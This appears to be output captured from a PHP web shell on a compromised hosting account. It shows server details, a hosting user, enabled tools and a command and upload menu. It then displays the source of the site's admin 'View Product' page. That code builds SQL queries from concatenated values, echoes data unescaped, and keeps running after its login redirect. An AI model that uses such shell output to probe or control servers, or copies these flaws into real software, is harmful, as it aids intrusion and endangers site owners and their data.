|
Server IP : 2a02:4780:11:1596:0:cbc:26e7:10 / Your IP : 216.73.217.7 Web Server : LiteSpeed System : Linux in-mum-web1496.main-hosting.eu 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64 User : u213657319 ( 213657319) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u213657319/domains/mutiyanglobal.com/public_html/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
include 'check.php';
if(empty($_SESSION['emailId'])){
header("Location: index.php");
}
include '../connection.php';
include 'includes/common_function.php';
include 'constant_file.php';
?>
<!DOCTYPE html>
<html>
<head>
<?php
include 'includes/assets.php'
?>
</head>
<body class="skin-blue">
<div class="wrapper">
<?php
include 'includes/header.php';
?>
<!-- Left side column. contains the logo and sidebar -->
<?php
include 'includes/aside.php';
?>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<section class="content-header">
<h1>
<b> View Product </b>
<a href="add_product.php"><button type="button" class="btn btn-primary" style="margin-left:70%">Add Product</button></a>
</h1>
</section>
<?php
$productlist = productlist();
// echo "<pre />";
// print_r($productlist);die();
?>
<!-- Main content -->
<section class="content">
<div class="row">
<div class="col-xs-12">
<div class="box">
<div class="box-header">
</div><!-- /.box-header -->
<div class="box-body">
<table id="example1" class="table table-bordered table-striped">
<thead>
<tr>
<th>Id</th>
<th>Category</th>
<th>Sub Category</th>
<th>Name</th>
<th>Stock</th>
<th>Price</th>
<th>Description</th>
<th>Image</th>
<th>Delete || Update</th>
</tr>
</thead>
<tbody>
<?php
$i = 1;
//echo "<pre />";print_r($productlist);
foreach ($productlist as $list)
{
$c_id = $list["category"];
$query = mysqli_query($con,"SELECT * FROM category_type WHERE id = '".$c_id."'");
$row = mysqli_fetch_array($query);
$cat_type = $row['category_type'];
$s_id = $list["sub_category"];
$query = mysqli_query($con,"SELECT * FROM product_category WHERE id = '".$s_id."'");
$row = mysqli_fetch_array($query);
$sub_cat = $row['c_name'];
?>
<tr>
<td><?php echo $i; ?></td>
<td><?php echo $cat_type; ?></td>
<td><?php echo $sub_cat; ?></td>
<td><?php echo $list['name']; ?></td>
<td><?php echo $list['stock']; ?></td>
<td><?php echo $list['price']; ?></td>
<td><?php echo $list['description']; ?></td>
<td><img src="<?php echo "product_image/".$list['product_image']; ?>" width="100px;" height="60px;"></td>
<td><a href="delete_product.php?pid=<?php echo $list['id']; ?>"><button type="button" class="btn btn-primary">Delete</button></a>
<a href="update_product.php?ct_id=<?php echo $list['id']; ?>"><button type="button" class="btn btn-primary" >Update</button> </a></td>
</tr>
<?php $i++; } ?>
</tbody>
</table>
</div><!-- /.box-body -->
</div><!-- /.box -->
</div><!-- /.col -->
</div><!-- /.row -->
</section><!-- /.content -->
</div><!-- /.content-wrapper -->
<?php
include 'includes/footer.php';
?>
</div><!-- ./wrapper -->
<!-- jQuery 2.1.3 -->
<script src="plugins/jQuery/jQuery-2.1.3.min.js"></script>
<!-- Bootstrap 3.3.2 JS -->
<script src="bootstrap/js/bootstrap.min.js" type="text/javascript"></script>
<!-- DATA TABES SCRIPT -->
<script src="plugins/datatables/jquery.dataTables.js" type="text/javascript"></script>
<script src="plugins/datatables/dataTables.bootstrap.js" type="text/javascript"></script>
<!-- SlimScroll -->
<script src="plugins/slimScroll/jquery.slimscroll.min.js" type="text/javascript"></script>
<!-- FastClick -->
<script src='plugins/fastclick/fastclick.min.js'></script>
<!-- AdminLTE App -->
<script src="dist/js/app.min.js" type="text/javascript"></script>
<!-- AdminLTE for demo purposes -->
<script src="dist/js/demo.js" type="text/javascript"></script>
<!-- page script -->
<script type="text/javascript">
$(function () {
$("#example1").dataTable();
$('#example2').dataTable({
"bPaginate": true,
"bLengthChange": false,
"bFilter": false,
"bSort": true,
"bInfo": true,
"bAutoWidth": false
});
});
</script>
</body>
</html>